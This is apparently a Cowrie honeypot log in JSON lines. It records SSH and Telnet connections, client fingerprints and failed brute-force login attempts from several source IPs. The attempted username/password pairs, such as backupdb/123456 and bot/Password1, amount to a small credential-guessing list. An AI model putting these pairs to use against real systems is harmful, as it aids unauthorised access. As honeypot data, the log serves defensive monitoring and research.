{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24716,"dst_ip":"10.17.0.5","dst_port":22,"session":"c50075d3aab3","protocol":"ssh","message":"New connection: 213.209.159.158:24716 (10.17.0.5:22) [session: c50075d3aab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:49.675676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:51.801669Z","src_ip":"213.209.159.158","session":"c50075d3aab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:51.805321Z","src_ip":"213.209.159.158","session":"c50075d3aab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupdb","password":"123456","message":"login attempt [backupdb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:00.794897Z","src_ip":"213.209.159.158","session":"c50075d3aab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:04.751700Z","src_ip":"213.209.159.158","session":"c50075d3aab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":30824,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab3afcc6183","protocol":"ssh","message":"New connection: 213.209.159.158:30824 (10.17.0.5:22) [session: 4ab3afcc6183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:04.984951Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":36988,"dst_ip":"10.17.0.5","dst_port":23,"session":"80a5967115c7","protocol":"telnet","message":"New connection: 3.130.168.2:36988 (10.17.0.5:23) [session: 80a5967115c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:06.709631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:06.718251Z","src_ip":"213.209.159.158","session":"4ab3afcc6183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:06.722407Z","src_ip":"213.209.159.158","session":"4ab3afcc6183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.021448373794555664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:06.730949Z","src_ip":"3.130.168.2","session":"80a5967115c7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bot","password":"Password1","message":"login attempt [bot/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:14.901519Z","src_ip":"213.209.159.158","session":"4ab3afcc6183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:18.002751Z","src_ip":"213.209.159.158","session":"4ab3afcc6183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":39134,"dst_ip":"159.203.135.109","dst_port":22,"session":"b84d7e6518ed","protocol":"ssh","message":"New connection: 92.118.39.95:39134 (159.203.135.109:22) [session: b84d7e6518ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:18.234804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:18.239533Z","src_ip":"92.118.39.95","session":"b84d7e6518ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":16866,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4d47e06ef45","protocol":"ssh","message":"New connection: 213.209.159.158:16866 (10.17.0.5:22) [session: c4d47e06ef45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:18.245790Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:18.342723Z","src_ip":"92.118.39.95","session":"b84d7e6518ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:18.647875Z","src_ip":"92.118.39.95","session":"b84d7e6518ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":54922,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5205fd8b3df","protocol":"ssh","message":"New connection: 45.79.127.249:54922 (159.203.135.109:22) [session: d5205fd8b3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:18.905734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:18.910093Z","src_ip":"45.79.127.249","session":"d5205fd8b3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:19.098852Z","src_ip":"45.79.127.249","session":"d5205fd8b3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luna","password":"luna","message":"login attempt [luna/luna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:19.478370Z","src_ip":"45.79.127.249","session":"d5205fd8b3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:19.748779Z","src_ip":"92.118.39.95","session":"b84d7e6518ed","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:19.982170Z","src_ip":"213.209.159.158","session":"c4d47e06ef45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:19.985704Z","src_ip":"213.209.159.158","session":"c4d47e06ef45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:20.668693Z","src_ip":"45.79.127.249","session":"d5205fd8b3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot1234","message":"login attempt [bot/bot1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:30.453322Z","src_ip":"213.209.159.158","session":"c4d47e06ef45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:34.261995Z","src_ip":"213.209.159.158","session":"c4d47e06ef45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57662,"dst_ip":"10.17.0.5","dst_port":22,"session":"3958d9d2989d","protocol":"ssh","message":"New connection: 213.209.159.158:57662 (10.17.0.5:22) [session: 3958d9d2989d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:34.499504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:36.234619Z","src_ip":"213.209.159.158","session":"3958d9d2989d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:36.238025Z","src_ip":"213.209.159.158","session":"3958d9d2989d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":55794,"dst_ip":"159.203.135.109","dst_port":23,"session":"842da37cc609","protocol":"telnet","message":"New connection: 3.130.168.2:55794 (159.203.135.109:23) [session: 842da37cc609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:37.143371Z"}
{"eventid":"cowrie.session.closed","duration":0.005477190017700195,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:37.148682Z","src_ip":"3.130.168.2","session":"842da37cc609","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"biadmin","password":"biadmin","message":"login attempt [biadmin/biadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:44.353684Z","src_ip":"213.209.159.158","session":"3958d9d2989d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:47.476891Z","src_ip":"213.209.159.158","session":"3958d9d2989d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24664,"dst_ip":"10.17.0.5","dst_port":22,"session":"dde29326d95f","protocol":"ssh","message":"New connection: 213.209.159.158:24664 (10.17.0.5:22) [session: dde29326d95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:47.711233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:49.329195Z","src_ip":"213.209.159.158","session":"dde29326d95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:49.332611Z","src_ip":"213.209.159.158","session":"dde29326d95f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agabang","password":"agabang","message":"login attempt [agabang/agabang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:20:58.189604Z","src_ip":"213.209.159.158","session":"dde29326d95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:01.548694Z","src_ip":"213.209.159.158","session":"dde29326d95f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2030,"dst_ip":"10.17.0.5","dst_port":22,"session":"6839894c5186","protocol":"ssh","message":"New connection: 213.209.159.158:2030 (10.17.0.5:22) [session: 6839894c5186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:01.790045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:03.807733Z","src_ip":"213.209.159.158","session":"6839894c5186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:21:03.811385Z","src_ip":"213.209.159.158","session":"6839894c5186","protocol":"ssh"}
